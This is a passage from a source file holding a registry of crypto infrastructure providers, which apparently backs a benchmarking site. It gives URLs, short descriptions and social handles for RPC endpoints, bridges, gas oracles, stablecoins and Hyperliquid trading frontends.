      "Kraken's Ink Chain official public RPC (rpc-gel.inkonchain.com), operated by Gelato Network on behalf of Kraken. Standard EVM JSON-RPC, keyless, rate-limited per IP.",
    twitter: "@inkonchain",
  },
  "ink-quicknode": {
    url: "https://inkonchain.com",
    description:
      "Kraken's Ink Chain second official public RPC (rpc-qnd.inkonchain.com), operated by QuickNode on behalf of Kraken. Standard EVM JSON-RPC, keyless, rate-limited per IP. Runs in parallel with the Gelato-backed endpoint as an active-active pair.",
    twitter: "@inkonchain",
  },
  "morph-quicknode": {
    url: "https://www.morphl2.io",
    description:
      "Morph Foundation's second public RPC (rpc-quicknode.morph.network), operated by QuickNode on behalf of the Morph team. Standard EVM JSON-RPC, keyless, rate-limited per IP. Runs in parallel with the official Morph endpoint as an active-active pair.",
    twitter: "@Morphl2",
  },
  "opbnb-official": {
    url: "https://opbnb.bnbchain.org",
    description:
      "BNB Chain team's official public opBNB RPC (opbnb-mainnet-rpc.bnbchain.org). Standard EVM JSON-RPC on the OP Stack rollup that settles onto BNB Chain (not Ethereum), keyless, rate-limited per IP.",
    twitter: "@BNBCHAIN",
  },
  "sei-official": {
    url: "https://www.sei.io",
    description:
      "Sei Labs' official public EVM RPC (evm-rpc.sei-apis.com) for the parallel-execution EVM layer on Sei's Cosmos SDK L1 (chain 1329). Standard EVM JSON-RPC, keyless, rate-limited per IP.",
    twitter: "@SeiNetwork",
  },
  "mode-official": {
    url: "https://mode.network",
    description:
      "Mode Labs' official public RPC (mainnet.mode.network) for the OP Stack L2 in the Base / Superchain ecosystem (chain 34443). Standard EVM JSON-RPC, keyless, rate-limited per IP.",
    twitter: "@modenetwork",
  },
  "ronin-official": {
    url: "https://roninchain.com",
    description:
      "Sky Mavis' official public Ronin RPC (api.roninchain.com/rpc) for the EVM gaming L1 (chain 2020) that hosts Axie Infinity, Pixels and a broader gaming stack. Standard EVM JSON-RPC, keyless, rate-limited per IP.",
    twitter: "@Ronin_Network",
  },
  "immutable-official": {
    url: "https://www.immutable.com",
    description:
      "Immutable's official public zkEVM RPC (rpc.immutable.com) for the Polygon CDK zkEVM L2 dedicated to Web3 gaming (chain 13371). Standard EVM JSON-RPC, keyless, rate-limited per IP.",
    twitter: "@Immutable",
  },
  stakeme: {
    url: "https://stakeme.pro",
    description:
      "Stakeme is an independent validator operator running keyless public RPC endpoints for select L1s. Currently listed on OCB for Sei EVM (sei-evm-rpc.stakeme.pro).",
    twitter: "@stakeme_pro",
  },
  dwellir: {
    url: "https://www.dwellir.com",
    description:
      "Web3 Foundation grantee running production-grade Substrate infrastructure across globally distributed bare-metal servers. Keyless public gateways on Polkadot, Kusama and every major parachain, plus dedicated node service.",
    twitter: "@dwellir",
  },
  "monad-official": {
    url: "https://docs.monad.xyz",
    description:
      "Monad Foundation's primary public RPC (rpc.monad.xyz, QuickNode-backed, 25 rps). Four additional official mirrors run on Alchemy, Goldsky, Ankr and Foundation infrastructure.",
    twitter: "@monad_xyz",
  },
  "megaeth-official": {
    url: "https://docs.megaeth.com",
    description:
      "MegaETH's official public RPC (mainnet.megaeth.com). Compute-unit and bandwidth limited; WebSocket endpoint exposes the 10 ms mini-block realtime API.",
    twitter: "@megaeth_labs",
  },
  onfinality: {
    url: "https://onfinality.io",
    description:
      "Multi-chain infrastructure provider. Public keyless endpoints on 80+ networks with generous daily limits, plus dedicated and API-key tiers.",
    twitter: "@OnFinality",
  },
  quicknode: {
    url: "https://www.quicknode.com",
    description:
      "Keyed RPC infrastructure across 30+ chains. Endpoint-scoped API tokens; free and paid plans are served from the same shared fleet, dedicated clusters on higher tiers.",
    twitter: "@QuickNode",
  },
  thirdweb: {
    url: "https://thirdweb.com",
    description:
      "ThirdWeb operates a keyless public RPC gateway at `<chainid>.rpc.thirdweb.com` covering 2000+ EVM chains via chain-id routing. Free tier is rate-limited per IP with no signup; paid tiers unlock higher throughput and dedicated endpoints. Used keyless across 13 chains on the RPC latency cluster (arbitrum, ethereum, polygon, optimism, base, bnb, avalanche, linea, worldchain, kaia, ink, opbnb + more).",
    twitter: "@thirdweb",
  },
  gelato: {
    url: "https://gelato.network",
    description:
      "Gelato Network runs a rollup-as-a-service platform and operates RPC infrastructure for OP Stack + Arbitrum Orbit chains it hosts. On the RPC latency cluster it appears as the Kraken Ink chain's Gelato-backed official endpoint (`rpc-gel.inkonchain.com`), running active-active alongside the QuickNode-backed sibling.",
    twitter: "@gelatonetwork",
  },
  wormhole: {
    url: "https://wormhole.com",
    description:
      "Wormhole is a cross-chain messaging network. A network of 19 Guardian nodes observes events on source chains and signs VAAs (Verified Action Approvals) once source-chain finality is reached; 13-of-19 Guardian signatures constitute quorum. Any signed VAA can then be relayed to any destination chain Wormhole supports (30+ EVM, Solana, Sui, Aptos, Near, Cosmos SDK chains) to unlock the corresponding action.",
    twitter: "@wormhole",
  },
  layerzero: {
    url: "https://layerzero.network",
    description:
      "LayerZero is an omnichain messaging protocol built on a configurable Decentralized Verifier Network (DVN) stack. Applications choose which DVNs verify their messages and which Executor delivers them, so the security model is application-defined rather than fixed. Live on 100+ chains, powering Stargate, Radiant, Ethena and many other cross-chain applications.",
    twitter: "@LayerZero_Core",
  },
  hyperlane: {
    url: "https://hyperlane.xyz",
    description:
      "Hyperlane is a permissionless cross-chain messaging network. Anyone can deploy the Mailbox contract on a new chain and anyone can relay messages between them. Application security is expressed via an Interchain Security Module (ISM) the developer configures per lane. Deployed on 100+ EVM chains plus Solana, powering the Nexus liquidity network and many rollup-native apps.",
    twitter: "@hyperlane",
  },
  axelar: {
    url: "https://axelar.network",
    description:
      "Axelar is a cross-chain communication network built on a Cosmos-SDK chain plus validator-attested gateways on every supported destination. Its General Message Passing (GMP) API underpins Squid Router, Interchain Token Service (ITS) and the Interchain Amplifier. Bridges 60+ EVM chains and 20+ Cosmos chains through a proof-of-stake validator set that signs cross-chain calls.",
    twitter: "@axelar",
  },
  "chainlink-ccip": {
    url: "https://chain.link/cross-chain",
    description:
      "Chainlink Cross-Chain Interoperability Protocol (CCIP) is an enterprise-grade cross-chain messaging network operated by the Chainlink Decentralized Oracle Network (DON). CCIP waits for source-chain finality before its DON commits a merkle root, then a Risk Management Network (RMN) independently verifies before destination execution. Powers production integrations at Aave, SWIFT, and multiple institutional token bridges. Live on Ethereum, all major L2s, Avalanche, BNB, Polygon, and Solana.",
    twitter: "@chainlink",
  },
  infura: {
    url: "https://www.infura.io",
    description:
      "RPC infrastructure by Consensys, now part of the MetaMask Developer platform. Keyed endpoints across 40+ networks; free tier meters 3M credits per day.",
    twitter: "@infura_io",
  },
  ankr: {
    url: "https://www.ankr.com/rpc/",
    description:
      "Multi-chain RPC service covering 65+ chains on the freemium tier. One API key across chains; some networks are premium-gated.",
    twitter: "@ankr",
  },
  chainstack: {
    url: "https://chainstack.com",
    description:
      "Managed blockchain node platform. Deploys dedicated Global Nodes per chain with keyed HTTPS/WSS endpoints; free plan includes one node and 3M requests per month.",
    twitter: "@ChainstackHQ",
  },
  publicnode: {
    url: "https://www.publicnode.com",
    description:
      "Public no-key RPC service operated by Allnodes covering 70+ chains. JSON-RPC and WebSocket endpoints with archive support on most networks.",
    twitter: "@AllnodesHQ",
  },
  drpc: {
    url: "https://drpc.org",
    description:
      "Decentralized RPC mesh routing requests across third-party node providers with consensus checks. Free public tier plus higher-tier authenticated access.",
    twitter: "@drpcorg",
  },
  "1rpc": {
    url: "https://1rpc.io",
    description:
      "Privacy-preserving public RPC by Automata Network. Strips client metadata before forwarding to upstream node operators; load-balanced across providers.",
    twitter: "@1RPC_io",
  },
  meowrpc: {
    url: "https://meowrpc.com",
    description:
      "Free public RPC service covering Ethereum, Base, Arbitrum, Optimism and other EVM chains. No registration required, modest rate limits per IP.",
  },
  flashbots: {
    url: "https://rpc.flashbots.net",
    description:
      "Flashbots Protect RPC sends transactions through a private mempool, shielding them from sandwich attacks. Read calls go to a standard Ethereum node behind the proxy.",
    twitter: "@flashbots",
  },
  cloudflare: {
    url: "https://cloudflare-eth.com",
    description:
      "Cloudflare's public Ethereum gateway. Recently switched to a permissioned mode for many JSON-RPC methods, returning `-32046 Cannot fulfill request` for most endpoints.",
    twitter: "@Cloudflare",
  },
  "base-official": {
    url: "https://mainnet.base.org",
    description:
      "Official Base public RPC operated by the Base team (Coinbase). No-key access for read methods; documented as best-effort with rate limits.",
    twitter: "@base",
    parent: "base",
  },
  binance: {
    url: "https://docs.bnbchain.org/docs/rpc",
    description:
      "Official BNB Chain RPC endpoints operated by Binance. Multiple dataseed hosts (`bsc-dataseed1.binance.org` etc.) round-robin for load distribution.",
    twitter: "@BNBCHAIN",
  },
  tenderly: {
    url: "https://tenderly.co",
    description:
      "Tenderly's public gateway exposes a no-key JSON-RPC endpoint per chain at `gateway.tenderly.co/public/<slug>`. Covers Ethereum, Polygon, Arbitrum, Optimism, Base, Avalanche, Linea, Scroll and Mantle. The same Tenderly platform behind the keyed Web3 dev suite.",
    twitter: "@TenderlyApp",
  },
  nodies: {
    url: "https://nodies.app",
    description:
      "Nodies is the surviving public-RPC frontend for POKT Network's decentralized infrastructure. Per-chain subdomains like `eth-pokt.nodies.app`, `polygon-pokt.nodies.app`, `arb-pokt.nodies.app`. Covers most major EVM chains no-key.",
    twitter: "@nodies_app",
  },
  lava: {
    url: "https://www.lavanet.xyz",
    description:
      "Lava Network is a decentralized RPC mesh with permissionless validators. Public no-key endpoints work for Ethereum (`eth1.lava.build`) and Arbitrum (`arb1.lava.build`); other chains require an account-issued key.",
    twitter: "@lavanetxyz",
  },
  merkle: {
    url: "https://merkle.io",
    description:
      "Merkle exposes per-chain RPC subdomains (`eth.merkle.io`, `base.merkle.io`, `bsc.merkle.io`). Stable on Base + BSC for no-key benchmarking; Ethereum is fronted by an aggressive Cloudflare bot filter (20-minute lockout after a single request) so we exclude it from the leaderboard.",
    twitter: "@merkle_xyz",
  },
  "arbitrum-official": {
    url: "https://docs.arbitrum.io/build-decentralized-apps/reference/node-providers",
    description:
      "Arbitrum Foundation's public RPC endpoint at `arb1.arbitrum.io/rpc`. Best-effort, rate-limited, intended for dev access. Production dapps are expected to use a keyed provider.",
    twitter: "@arbitrum",
    parent: "arbitrum",
  },
  "optimism-official": {
    url: "https://docs.optimism.io/builders/tools/build/node-providers",
    description:
      "Optimism Foundation's public RPC endpoint at `mainnet.optimism.io`. Best-effort, rate-limited, intended as a fallback. The Foundation recommends keyed providers for production load.",
    twitter: "@Optimism",
    parent: "optimism",
  },
  "avalanche-official": {
    url: "https://docs.avax.network/dapps/rpc-providers",
    description:
      "Ava Labs' public C-Chain RPC at `api.avax.network/ext/bc/C/rpc`. Best-effort, capped per IP. Production dapps usually graduate to keyed providers (Ankr, BlockDaemon, GetBlock).",
    twitter: "@avax",
    parent: "avalanche",
  },

  // ─── Gas oracles ──────────────────────────────────────────────
  "publicnode-feehistory": {
    url: "https://www.publicnode.com",
    description:
      "Gas predictor that wraps the canonical eth_feeHistory JSON-RPC method against PublicNode's Ethereum endpoint. Returns reward percentiles directly from the EIP-1559 spec implementation; no proprietary model.",
    twitter: "@AllnodesHQ",
    parent: "publicnode",
  },
  owlracle: {
    url: "https://owlracle.info",
    description:
      "Multi-oracle gas aggregator across Ethereum, BNB Chain, Polygon and other EVM chains. Free tier 100 requests/hour, 1000/h with a free API key. Recommendation aggregates several upstream oracles into a single tier value.",
    twitter: "@owlracle",
  },
  etherscan: {
    url: "https://etherscan.io/gastracker",
    description:
      "Most-visited Ethereum gas tracker on the web, operated by Etherscan. The v2 gastracker API exposes Safe / Propose / Fast tiers; the legacy single-price shape predates EIP-1559's per-tier priority-fee model.",
    twitter: "@etherscan",
  },

  // ─── Stablecoin issuers (appearing as providers in peg bench) ─
  usdc: {
    url: "https://www.circle.com/usdc",
    description:
      "Circle's USD-redeemed stablecoin, audited and backed by short-duration Treasuries and same-day USD cash. Same-day primary-market redemption with US banks is the structural anchor for the peg.",
    twitter: "@circle",
  },
  usdt: {
    url: "https://tether.to",
    description:
      "Tether's USD-pegged stablecoin, the dominant pair currency on most non-US crypto venues. Primary-market redemption is slower than USDC; secondary-market peg carries a premium during risk-on minutes.",
    twitter: "@Tether_to",
  },
  dai: {
    url: "https://makerdao.com",
    description:
      "MakerDAO's overcollateralized stablecoin (now Sky's USDS legacy version). CEX coverage is essentially dead in 2026; the only honest live peg signal is on-chain via Curve 3pool's get_dy.",
    twitter: "@MakerDAO",
  },
  fdusd: {
    url: "https://firstdigitallabs.com",
    description:
      "First Digital USD, Hong Kong-issued stablecoin backed 1:1 by USD reserves. Primary depth lives on Binance USDT-quoted FDUSDUSDT; USD-quoted venues offer negligible volume.",
    twitter: "@firstdigitallabs",
  },
  usde: {
    url: "https://ethena.fi",
    description:
      "Ethena's synthetic dollar anchored by a delta-neutral basis trade on perpetual futures. Flashed to $0.65 on Binance USDEUSDT during the October 10 2025 liquidation cascade.",
    twitter: "@ethena_labs",
  },

  // ─── Buyback audit (bench 018) ─────────────────────────────────
  sky: {
    url: "https://sky.money",
    description:
      "Rebrand of MakerDAO around USDS and SKY. Smart Burn Engine routes protocol surplus to buy and burn SKY against USDS on Uniswap v2.",
    twitter: "@SkyEcosystem",
  },

  // ─── Oracle deviation pairs (bench 025) ───────────────────────
  // Each "provider" in oracle-deviation is a USD trading pair. The entry
  // describes the underlying asset that the cross-oracle deviation
  // benchmark is measured against. Logos alias to the chain/asset image
  // in `lib/logo-manifest.ts`.
  "btc-usd": {
    url: "https://bitcoin.org",
    description:
      "Bitcoin, the first proof-of-work cryptocurrency. Treated as digital gold and the primary store-of-value asset across crypto markets.",
    twitter: "@Bitcoin",
  },
  "eth-usd": {
    url: "https://ethereum.org",
    description:
      "Ethereum, a proof-of-stake smart contract platform. Settlement layer for most DeFi, stablecoins, and L2 rollups; often called the world computer.",
    twitter: "@ethereum",
  },
  "sol-usd": {
    url: "https://solana.com",
    description:
      "Solana, a high-throughput monolithic L1 using proof-of-history with proof-of-stake. Low-latency execution layer for trading, payments, and consumer apps.",
    twitter: "@solana",
  },
  "bnb-usd": {
    url: "https://www.bnbchain.org",
    description:
      "BNB, the native asset of BNB Chain and Binance ecosystem. Used for gas on BNB Smart Chain and fee discounts on Binance exchange.",
    twitter: "@BNBCHAIN",
  },
  "xrp-usd": {
    url: "https://ripple.com/xrp",
    description:
      "XRP, the native asset of the XRP Ledger. Used for cross-border payments and liquidity bridging within the Ripple Labs ecosystem.",
    twitter: "@Ripple",
  },
  "ada-usd": {
    url: "https://cardano.org",
    description:
      "Cardano native token. PoS L1 using Ouroboros consensus, Haskell-based smart contracts via Plutus. ADA used for staking and fees.",
    twitter: "@Cardano",
  },
  "doge-usd": {
    url: "https://dogecoin.com",
    description:
      "Dogecoin native coin. Litecoin-derived PoW chain originating as a meme, widely used for tipping and small-value payments.",
    twitter: "@dogecoin",
  },
  "avax-usd": {
    url: "https://www.avax.network",
    description:
      "Avalanche native token. PoS L1 using Snowman consensus with a subnet architecture for app-specific chains. AVAX pays fees and secures the network.",
    twitter: "@avax",
  },
  "link-usd": {
    url: "https://chain.link",
    description:
      "Chainlink token. Powers a decentralized oracle network providing offchain data and compute, used for node payments and staking.",
    twitter: "@chainlink",
  },
  "matic-usd": {
    url: "https://polygon.technology",
    description:
      "Polygon ecosystem token, renamed from MATIC to POL in September 2024. Gas and staking asset across Polygon PoS and the AggLayer stack.",
    twitter: "@0xPolygon",
  },

  // ─── Hyperliquid frontends (bench № 030) ─────────────────────────
  "phantom-perps": {
    url: "https://phantom.app",
    description:
      "Phantom is the leading multi-chain crypto wallet on Solana, Ethereum, and Bitcoin; its Hyperliquid perps tab routes orders with a registered builder code so users trade Hyperliquid directly from the wallet UI.",
    twitter: "@phantom",
  },
  axiom: {
    url: "https://axiom.trade",
    description:
      "Axiom is a Solana-native trading terminal expanding to Hyperliquid perps with a registered builder code, focused on advanced order types and pro-trader UX.",
    twitter: "@AxiomExchange",
  },
  "pvp-trade": {
    url: "https://pvp.trade",
    description:
      "pvp.trade runs social PvP trading rooms on Hyperliquid where friends bet against each other on perp positions, with a registered builder code on every routed order.",
    twitter: "@pvptrade",
  },
  insilico: {
    url: "https://insilicoterminal.com",
    description:
      "Insilico Terminal is an institutional trading workstation for Hyperliquid perps, with risk controls, order ladders, and a registered builder code for attribution.",
    twitter: "@InsilicoFinance",
  },
  defiapp: {
    url: "https://defi.app",
    description:
      "Defiapp is a cross-chain DeFi front-end that routes Hyperliquid perps orders via a registered builder code, exposing Hyperliquid alongside spot and bridge flows in one UI.",
    twitter: "@defidotapp",
  },
  metamask: {
    url: "https://metamask.io",
    description:
      "MetaMask is the largest self-custody EVM wallet; its Hyperliquid integration routes perps orders through a registered builder code so users can trade Hyperliquid from within the wallet.",
    twitter: "@MetaMask",
  },
  dexari: {
    url: "https://dexari.com",
    description:
      "Dexari is a pro trading UI for Hyperliquid perps focused on power users; orders carry a registered builder code for on-chain attribution.",
    twitter: "@DexariDotCom",
  },
  okto: {
    url: "https://okto.tech",
    description:
      "Okto is a self-custody multi-chain wallet by Coinswitch with a Hyperliquid perps integration that routes orders through a registered builder code.",
    twitter: "@okto_web3",
  },

  // ─── Hyperliquid frontends registry expansion 8 → 60 (DefiLlama sync) ───
  "trust-wallet": {
    url: "https://trustwallet.com",
    description:
      "Trust Wallet is a 220M user self custody mobile wallet that ships a native Hyperliquid perps tab routing orders with a registered builder code from inside the app.",
    twitter: "@TrustWallet",
  },
  sushi: {
    url: "https://www.sushi.com",
    description:
      "Sushi is a multichain DEX whose Sushi Perps v2 frontend routes orders into the Hyperliquid orderbook via a builder code, layering Sushi points incentives on top.",
    twitter: "@SushiSwap",
  },
  dreamcash: {
    url: "https://dreamcash.xyz",
    description:
      "Dreamcash is a mobile trading app for crypto, perps and HIP 3 RWAs that fronts Hyperliquid execution with a registered builder code and points rewards.",
    twitter: "@Dreamcash",
  },
  "based-app": {
    url: "https://basedapp.io",
    description:
      "Based is a Hyperliquid super app combining perps, prediction markets and a Visa card; one of the top builders by perp volume on Hyperliquid, running its own Builder on Builder program.",
    twitter: "@basedappHQ",
  },
  perpmate: {
    url: "https://perpmate.com",
    description:
      "Perpmate is an AI Telegram bot and web dashboard for one tap cross chain Hyperliquid perp trading, parsing natural language orders and executing via a registered builder code.",
    twitter: "@perpmate",
  },
  arena: {
    url: "https://arena.social",
    description:
      "The Arena is an Avalanche based SocialFi app whose Arena perps feature routes orders to Hyperliquid and exposes copy trading of those positions, using a registered builder code.",
    twitter: "@TheArenaApp",
  },
  minaraai: {
    url: "https://minara.ai",
    description:
      "Minara is an AI agent for trading that executes Hyperliquid perps via Copilot signal assisted or Autopilot automated modes, routing orders with a registered builder code.",
    twitter: "@minara__ai",
  },
  apexliquid: {
    url: "https://apexliquid.io",
    description:
      "ApexLiquid is a Telegram bot and smart wallet that auto copies on chain smart money traders on Hyperliquid in roughly one second, routing mirrored fills via a registered builder code.",
    twitter: "@Apexliquid_bot",
  },
  coin98: {
    url: "https://coin98.com",
    description:
      "Coin98 is a multi chain wallet super app whose perpetuals interface aggregates Hyperliquid alongside GMX and other venues, routing Hyperliquid fills via a registered builder code.",
    twitter: "@coin98_wallet",
  },
  coinpilot: {
    url: "https://www.trycoinpilot.com",
    description:
      "Coinpilot is a non custodial mobile copy trading app that mirrors top Hyperliquid traders' perp positions in real time using a registered builder code.",
    twitter: "@trycoinpilot",
  },
  echosync: {
    url: "https://www.echosync.io",
    description:
      "EchoSync is a copy trading platform for Hyperliquid and Aster that replicates top traders' perp positions with configurable ratios, executing via a registered builder code.",
    twitter: "@echosync",
  },
  fomo: {
    url: "https://fomo.family",
    description:
      "FOMO is a multi-chain trading app (Solana, Base, BNB Chain, and more) for memecoins and perps. It provides social copy-trading, onchain signals, and routes swaps through pump.fun, Raydium, and other DEX pools.",
    twitter: "@tryfomo",
  },
  "pump-fun": {
    url: "https://pump.fun",
    description:
      "pump.fun is the leading Solana memecoin launchpad. Tokens start on a bonding curve and graduate to PumpSwap (pump.fun's native AMM, launched March 2025) when the curve completes.",
    twitter: "@pumpdotfun",
  },
  pumpswap: {
    url: "https://pump.fun",
    description:
      "PumpSwap is pump.fun's constant-product AMM where tokens migrate after graduating from the bonding curve. Launched March 2025, it uses a tiered fee schedule (LP, protocol, and creator shares) that varies by pool parameters. It surged to over $500M daily volume in August 2026 after pump.fun reduced bonding-curve trading fees.",
    twitter: "@pumpdotfun",
  },
  photon: {
    url: "https://photon-sol.tinyastro.io",
    description:
      "Photon is a Solana trading terminal targeting advanced traders with fast token sniping, smart-money wallet tracking, and direct DEX routing. It charges a per-trade platform fee on swap volume.",
    twitter: "@photon_sol",
  },
  trojan: {
    url: "https://trojan.bot",
    description:
      "Trojan is a Telegram trading bot for Solana memecoins. It provides fast sniping, copy trading, limit orders and MEV protection, charging a 0.9% fee per trade routed through pump.fun and Raydium pools.",
    twitter: "@solana_trojan",
  },
  gmgn: {
    url: "https://gmgn.ai",
    description:
      "GMGN is a Solana and EVM memecoin trading terminal combining wallet tracking, smart money copy trading and a Telegram bot. It routes swaps through pump.fun and DEX pools with a configurable slippage and fee.",
    twitter: "@gmgnai",
  },
  bullx: {
    url: "https://bullx.io",
    description:
      "BullX is a multi-chain trading terminal for memecoins supporting Solana, Ethereum, Base and other EVM chains. It provides token sniping, copy trading, and limit orders with a per-trade platform fee.",
    twitter: "@bullx_io",
  },

  // ─── Crypto trading apps — iOS App Store ratings (bench № 202) ─────────
  moonshot: {
    url: "https://moonshot.money",
    description:
      "Moonshot is a mobile-first app for buying and selling Solana memecoins via debit card or Apple Pay, targeting retail users who want a CEX-like onboarding experience for onchain tokens.",
    twitter: "@moonshotapp",
  },
  coinbase: {
    url: "https://www.coinbase.com",
    description:
      "Coinbase is the largest US-regulated centralized exchange, publicly listed on Nasdaq (COIN). It offers spot trading, staking, and a self-custody wallet, primarily targeting retail investors in the United States.",
    twitter: "@coinbase",
  },
  kraken: {
    url: "https://www.kraken.com",
    description:
      "Kraken is a US-registered centralized exchange founded in 2011, offering spot, margin and futures trading across 300+ assets with a strong reputation for security and regulatory compliance.",
    twitter: "@krakenfx",
  },
  "binance-us": {
    url: "https://www.binance.us",
    description:
      "Binance.US is the US-regulated affiliate of Binance, operating under FinCEN MSB registration. It offers spot trading for US customers on a subset of the global Binance order book.",
    twitter: "@BinanceUS",
  },
  robinhood: {
    url: "https://robinhood.com",
    description:
      "Robinhood is a US commission-free investing app with 25M+ funded accounts. It added crypto trading in 2018, launched its own L2 chain (Robinhood Chain) in 2025, and is the #1 most-reviewed financial app on the US App Store with nearly 5 million ratings.",
    twitter: "@RobinhoodApp",
  },
  cryptocom: {
    url: "https://crypto.com",
    description:
      "Crypto.com is a Singapore-headquartered centralized exchange serving 100M+ users globally. The app offers spot and derivatives trading, a Visa card, DeFi wallet and staking, making it one of the most feature-complete crypto super apps on iOS.",
    twitter: "@cryptocom",
  },
  maestro: {
    url: "https://maestrobots.com",
    description:
      "Maestro is a suite of Telegram trading bots for DeFi — Sniper, Wallet, Whale and Buy — trusted by traders on Solana, Ethereum, BNB Chain and Base. It charges a 1% fee on each sniped buy.",
    twitter: "@MaestroBots",
  },
  dextrabot: {
    url: "https://dextrabot.com",
    description:
      "Dextrabot is a copy trading platform and Telegram bot that discovers, analyzes and auto copies top Hyperliquid perp wallets, routing orders via a registered builder code.",
    twitter: "@dextrabot",
  },
  kinto: {
    url: "https://kinto.xyz",
    description:
      "Kinto was a non custodial smart wallet modular exchange that routed perps trading into Hyperliquid via a registered builder code. The project announced its shutdown in September 2025; its builder address remains on chain.",
    twitter: "@KintoXYZ",
  },
  hypersignals: {
    url: "https://hypersignals.ai",
    description:
      "HyperSignals (formerly Nomy) is a social and copy trading platform with trader analytics built on Hyperliquid, executing perp orders via a registered builder code.",
    twitter: "@HyperSignals_ai",
  },
  ccxt: {
    url: "https://ccxt.com",
    description:
      "CCXT is the open source multi exchange trading library. Its Hyperliquid integration attaches the CCXT builder code to orders by default, making it one of the largest programmatic flow routers on Hyperliquid.",
    twitter: "@ccxt_official",
  },
  splash: {
    url: "https://splashwallet.xyz",
    description:
      "Splash is a self custodial iOS wallet built for trading Hyperliquid perps from mobile, routing orders via a registered builder code.",
    twitter: "@splashOS",
  },
  vooi: {
    url: "https://vooi.io",
    description:
      "VOOI is a cross chain perp DEX aggregator with gasless unified balances that charges a small builder fee on orders routed into Hyperliquid.",
    twitter: "@vooi_io",
  },
  hyperx: {
    url: "https://hyperx.trade",
    description:
      "HyperX is a Hyperliquid copy trading and smart money analytics platform with a web dashboard and Telegram bot, executing via a registered builder code.",
    twitter: "@hyperx_trade",
  },
  miracle: {
    url: "https://miracletrade.com",
    description:
      "Miracle is a mobile native multi venue perps app (Hyperliquid, Extended, Nado) with unified balances and lossback on liquidations, routing Hyperliquid orders via a registered builder code.",
    twitter: "@miracletrade",
  },
  xbit: {
    url: "https://xbit.com",
    description:
      "XBIT is a decentralized aggregated trading platform with embedded wallets whose perp orders route into Hyperliquid via a registered builder code.",
    twitter: "@XBITDEX",
  },
  "tuleep-trade": {
    url: "https://tuleep.trade",
    description:
      "tuleep.trade is a multi exchange trading terminal focused on news trading; its Hyperliquid orders carry a registered builder code.",
    twitter: "@tuleep_trade",
  },
  "aura-money": {
    url: "https://aura.money",
    description:
      "Aura is a mobile first app for trading Hyperliquid perps, spot and HIP 3 markets plus Polymarket predictions, with social groups, routing orders via a registered builder code.",
    twitter: "@auramoney",
  },
  "cro-trade": {
    url: "https://cro.trade",
    description:
      "cro.trade is a Cronos ecosystem trading app whose perps trading routes through Hyperliquid via a registered builder code.",
    twitter: "@crotrade",
  },
  owlyfi: {
    url: "https://owly.fi",
    description:
      "Owly.fi is a non custodial AI powered copy trading and asset management terminal on Hyperliquid, executing perp orders via a registered builder code.",
    twitter: "@owlyfi",
  },
  goodcryptox: {
    url: "https://goodcrypto.app",
    description:
      "goodcryptoX is a multi exchange DEX trading bot platform (grid, DCA, copy trading) that charges a Hyperliquid builder fee on perp trades.",
    twitter: "@GoodCryptoApp",
  },
  "origami-tech": {
    url: "https://origami.tech",
    description:
      "Origami Tech is a cloud trading bot terminal automating spot and perps across CEXes and Hyperliquid, including HIP 3 markets, via a registered builder code.",
    twitter: "@origamitech_",
  },
  cwallet: {
    url: "https://cwallet.com",
    description:
      "Cwallet is a multi chain wallet offering spot and futures trading positioned as a gateway to Hyperliquid markets, routing perp orders via a registered builder code.",
    twitter: "@CwalletOfficial",
  },
  onchaincc: {
    url: "https://onchain.cc",
    description:
      "Onchain.cc is a Bitso built self custodial trading terminal aggregating spot, memecoins and perps; its perpetuals execute on Hyperliquid via a registered builder code.",
    twitter: "@Onchaincc",
  },
  "kucoin-web3": {
    url: "https://www.kucoin.com/web3",
    description:
      "KuCoin Web3 Wallet is KuCoin's self custody wallet with native in wallet perps routed through Hyperliquid, including HIP 3 markets.",
    twitter: "@KuCoin_Web3",
  },
  vergex: {
    url: "https://vergex.trade",
    description:
      "VergeX is an AI trading layer built on the open source NoFx engine, running automated strategies on exchanges including Hyperliquid via a registered builder code.",
    twitter: "@vergex_ai",
  },
  nansen: {
    url: "https://www.nansen.ai",
    description:
      "Nansen is the onchain analytics platform; its perps trading product routes orders into Hyperliquid and earns builder fees under the NSN builder code.",
    twitter: "@nansen_ai",
  },
  gemwallet: {
    url: "https://gemwallet.com",
    description:
      "Gem Wallet is a multichain self custody mobile wallet with a built in Trade Perpetuals section that routes orders directly into Hyperliquid via a registered builder code.",
    twitter: "@GemWalletApp",
  },
  "gtr-trade": {
    url: "https://gtr.trade",
    description:
      "GTR.Trade is a self custodial mobile perps trading terminal for crypto, memecoins and RWA perps that routes orders into Hyperliquid using a registered builder code.",
    twitter: "@GTRTrade",
  },
  hyprearn: {
    url: "https://hyprearn.com",
    description:
      "HyprEarn is an AI assistant for Hyperliquid perps that generates one click trade setups across Hyperliquid pairs and HIP 3 markets, executed via a registered builder code.",
    twitter: "@HyprEarn",
  },
  "legend-trade": {
    url: "https://www.legend.trade",
    description:
      "Legend is a social and gamified perp trading platform that lets users discover and copy top Hyperliquid traders, routing fills via a registered builder code.",
    twitter: "@legendtrade",
  },
  katoshi: {
    url: "https://katoshi.ai",
    description:
      "Trading automation engine for Hyperliquid offering bots, scripting, MCP and API tooling with 19 endpoints for strategy execution.",
    twitter: "@KatoshiAI",
  },
  metascalp: {
    url: "https://metascalp.io",
    description:
      "Free Windows desktop scalping terminal aggregating 14+ exchanges including Hyperliquid with order book, cluster, and tape analysis.",
    twitter: "@metascalp",
  },
  moontrader: {
    url: "https://www.moontrader.com",
    description:
      "Pro crypto trading terminal for HFT, scalping, and algo strategies across Binance, Bybit, OKX, and Hyperliquid.",
    twitter: "@MoonTrader_io",
  },
  onekey: {
    url: "https://onekey.so",
    description:
      "Open source hardware and software wallet with native OneKey Perps integration for trading Hyperliquid perpetuals from any device.",
    twitter: "@OneKeyHQ",
  },
  pear: {
    url: "https://www.pear.garden",
    description:
      "DeFi native pair trading terminal enabling one click long short ratio trades on top of Hyperliquid, GMX, and SYMMIO.",
    twitter: "@pear_protocol",
  },
  rabby: {
    url: "https://rabby.io",
    description:
      "Open source EVM browser wallet with built in Rabby Perps powered by Hyperliquid for in wallet perpetual futures trading.",
    twitter: "@Rabby_io",
  },
  "ranger-finance": {
    url: "https://ranger.finance",
    description:
      "Solana's first perps DEX aggregator with smart order routing across Drift, Jupiter, Flash, and Hyperliquid via cross chain relayers.",
    twitter: "@ranger_finance",
  },
  senpi: {
    url: "https://www.senpi.ai",
    description:
      "Personal AI trading agent platform for Hyperliquid letting users deploy non custodial autonomous bots controlled via Telegram chat.",
    twitter: "@senpi_ai",
  },
  superx: {
    url: "https://trysuper.co",
    description:
